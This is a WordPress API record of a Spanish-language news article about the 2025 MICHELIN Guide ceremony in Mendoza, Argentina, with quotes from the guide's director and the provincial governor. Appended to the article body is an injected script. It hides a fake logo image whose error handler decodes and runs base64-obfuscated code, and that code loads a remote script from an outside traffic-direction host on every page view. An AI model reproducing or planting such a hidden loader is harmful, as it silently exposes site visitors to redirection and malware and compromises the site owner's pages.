{"id":9325,"date":"2025-02-27T09:50:37","date_gmt":"2025-02-27T12:50:37","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=9325"},"modified":"2025-08-13T15:31:34","modified_gmt":"2025-08-13T18:31:34","slug":"la-guia-michelin-elige-mendoza-para-revelar-su-seleccion-2025","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=9325","title":{"rendered":"La Gu\u00eda MICHELIN elige Mendoza para revelar su selecci\u00f3n 2025"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-c0a1316d7818928ac456aa528e2b88b0\" style=\"background-color:#35444d\"><em>La cuenta regresiva para este gran evento comenz\u00f3, y Mendoza se prepara para brillar como nunca antes en el mapa gastron\u00f3mico mundial. El gobernador Alfredo Cornejo destaca que la provincia se consolida como polo gastron\u00f3mico nacional e internacional.<\/em><\/h4>\n\n\n\n<p>El pr\u00f3ximo 7 de abril, la provincia de Mendoza recibir\u00e1 a la prestigiosa Ceremonia de la Gu\u00eda MICHELIN Buenos Aires &amp; Mendoza 2025, que celebra la excelencia gastron\u00f3mica y promete ser un hito inolvidable para la regi\u00f3n.<\/p>\n\n\n\n<p>Gracias al apoyo del gobierno provincial, el imponente paisaje de la cordillera de los Andes ser\u00e1 el tel\u00f3n de fondo de esta celebraci\u00f3n, que tendr\u00e1 lugar en la Bodega Susana Balbo. Durante la ceremonia, se dar\u00e1n a conocer los restaurantes que se incorporan a la Gu\u00eda MICHELIN y aquellos que recibir\u00e1n distinciones como la Estrella MICHELIN, el Bib Gourmand, la Estrella Verde o un Premio Especial.<\/p>\n\n\n\n<p>El evento reunir\u00e1 a los chefs de los restaurantes seleccionados de Mendoza y Buenos Aires, adem\u00e1s de contar con la presencia de socios estrat\u00e9gicos y referentes del sector gastron\u00f3mico.<\/p>\n\n\n\n<p>Gwendal Poullennec, director Internacional de la Gu\u00eda MICHELIN, expres\u00f3 su entusiasmo: \u201cDespu\u00e9s del exitoso lanzamiento en Buenos Aires, estamos encantados de revelar nuestra pr\u00f3xima selecci\u00f3n de restaurantes argentinos desde Mendoza. Esta provincia, conocida por sus huertas f\u00e9rtiles y vi\u00f1edos ic\u00f3nicos, ofrece el escenario perfecto para celebrar el talento gastron\u00f3mico local. Nuestros inspectores est\u00e1n trabajando activamente en la selecci\u00f3n 2025\u2026 \u00a1y no podemos esperar para revelarla!\u201d.<\/p>\n\n\n\n<p><strong>Mendoza, coraz\u00f3n del vino y la gastronom\u00eda argentina<\/strong><\/p>\n\n\n\n<p>Ubicada en el centro-oeste de Argentina, Mendoza es mucho m\u00e1s que un destino tur\u00edstico: es un emblema de la cultura vitivin\u00edcola y gastron\u00f3mica del pa\u00eds. Su paisaje, enmarcado por la majestuosa cordillera, y su tradici\u00f3n de convertir el desierto en un oasis productivo, la han posicionado como un referente gourmet a nivel internacional.<\/p>\n\n\n\n<p>El gobernador Alfredo Cornejo destac\u00f3: \u201cLa provincia de Mendoza es reconocida por sus monta\u00f1as, sus vinos y la calidez de su gente. Es un orgullo recibir a la Gu\u00eda MICHELIN y a los mejores exponentes de un sector que genera trabajo, riqueza y experiencias inolvidables. Su presencia refuerza la marca Mendoza y nos consolida como un polo gastron\u00f3mico nacional e internacional\u201d.<\/p>\n\n\n\n<p><em>Fuente y Foto:&nbsp;<a href=\"https:\/\/guide.michelin.com\/ar\/\" target=\"_blank\" rel=\"noreferrer noopener\"><u>https:\/\/guide.michelin.com\/ar\/<\/u><\/a><\/em><\/p>\n\n\n\n<p><em>Foto: Exteriores de la Bodega Susana Balbo<\/em><\/p><p><\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>La cuenta regresiva para este gran evento comenz\u00f3, y Mendoza se prepara para brillar como nunca antes en el mapa gastron\u00f3mico mundial. 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